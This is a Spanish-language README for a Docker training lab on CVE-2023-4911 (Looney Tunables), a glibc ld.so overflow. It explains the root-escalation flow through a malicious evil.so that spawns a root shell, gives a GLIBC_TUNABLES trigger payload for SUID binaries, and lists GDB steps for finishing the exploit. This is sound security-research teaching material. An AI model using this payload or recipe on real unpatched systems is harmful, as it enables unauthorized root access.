
Laboratorio CVE-2023-4911 basado en Docker para analizar el desbordamiento de búfer de glibc ld.so y desarrollar un exploit de escalada local de privilegios con depuración GDB.
Entorno de prácticas basado en Docker para el análisis de la vulnerabilidad de desbordamiento de búfer (Local Privilege Escalation) en el cargador dinámico de GNU C Library (glibc) y el desarrollo de exploits.
| Elemento | Contenido |
|---|---|
| Número de CVE | CVE-2023-4911 |
| Alias | Looney Tunables |
| Objetivo vulnerable | GNU C Library (glibc) 2.34 ~ 2.38 |
| Versión vulnerable | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 o inferior |
| Versión parcheada | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Tipo | Desbordamiento de búfer en ld.so |
| Impacto | Escalada de privilegios local (usuario normal → root) |
| Descubrimiento | Qualys Security Research Team |
El cargador dinámico de glibc (ld.so) analiza la variable de entorno GLIBC_TUNABLES al ejecutar un programa.
Al ejecutar un binario SUID, se establece __libc_enable_secure = 1 y ld.so ingresa en una ruta de código que anula (nullify) dicha variable de entorno.
Durante este proceso, con una entrada del formato tunable1=tunable2=value se produce un desbordamiento de búfer debido a un cálculo incorrecto de la longitud.
Binario normal: __libc_enable_secure = 0 → no entra en código de anulación → sin vulnerabilidad
Binario SUID: __libc_enable_secure = 1 → entra en código de anulación → desbordamiento de búfer
Flujo del exploit:
Desbordamiento en GLIBC_TUNABLES
↓
Sobrescritura del puntero link_map en el área BSS de ld.so
↓
Manipulación de la ruta de búsqueda de bibliotecas hacia evil_lib/
↓
Carga de evil.so → ejecución automática del constructor
↓
setuid(0) + execve("/bin/bash") → obtención de shell root
Este entorno está diseñado para ir más allá de la mera ejecución de un PoC, con el objetivo de analizar directamente el principio de funcionamiento de la vulnerabilidad y desarrollar un exploit.
ld.so y el binario ejecutableresearcher) a rootCVE-2023-4911/
├── Dockerfile # Definición de la imagen del entorno vulnerable (compilación multi-etapa)
├── run.sh # Script de gestión para compilar/ejecutar Docker
├── check_environment.sh # Verificación automática del entorno al iniciar el contenedor
├── poc/
│ ├── exploit.py # PoC básico — para verificar crash (SIGSEGV)
│ ├── exploit_lpe.py # Exploit LPE — completar tras análisis con GDB
│ └── evil_lib/
│ ├── evil.c # Biblioteca compartida maliciosa que ejecuta shell root
│ └── Makefile
└── test_targets/
├── test_suid.c # Código fuente del binario de prueba SUID
└── test_heap.c # Código fuente del binario de prueba de asignación de heap
./run.sh build && ./run.sh run
Al iniciar el contenedor, se solicita la contraseña de sudo.
Contraseña: password
# Comprobar si ocurre SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# Disparar directamente
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# Análisis directo dentro del contenedor
gdb -q /workspace/test_targets/test_suid
# Depuración remota (gdbserver)
# Dentro del contenedor
gdbserver :1234 /workspace/test_targets/test_suid
# Desde el host local
gdb
(gdb) target remote localhost:1234
Tras analizar OVERFLOW_OFFSET y TARGET_ADDR con GDB, actualizar los valores en la parte superior de exploit_lpe.py y ejecutar.
python3 /workspace/poc/exploit_lpe.py
# Ubicación de la función vulnerable
/workspace/glibc-source/elf/dl-tunables.c
# Funciones principales
__tunables_init() # Punto de entrada
parse_tunables() # Punto donde ocurre el desbordamiento
tunables_strdup() # Asignación del búfer
# Seguimiento de llamadas al sistema con strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# Analizar __tunables_init con GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Este entorno debe utilizarse únicamente con fines educativos y de investigación en seguridad.
--privileged, por lo que debe usarse solo en entornos aislados| Comando | Descripción |
|---|
./run.sh build | Compilar la imagen Docker |
./run.sh run | Ejecutar el contenedor en modo interactivo |
./run.sh analysis | Ejecutar en modo análisis |
./run.sh test | Verificación rápida de la vulnerabilidad |
./run.sh clean | Limpiar imágenes y contenedores |
| Elemento | Contenido |
|---|
| Imagen base | ubuntu:jammy-20230916 (anterior al parche) |
| Versión de glibc | 2.35-0ubuntu3.3 (vulnerable) |
| Versión de ld.so | 2.35-0ubuntu3.3 (vulnerable) |
| Cuenta de análisis | researcher / password |
| Código fuente de glibc | /workspace/glibc-source (2.35) |
| Puerto principal | 1234 (gdbserver) |
| Opciones del contenedor | --privileged, --pid=host |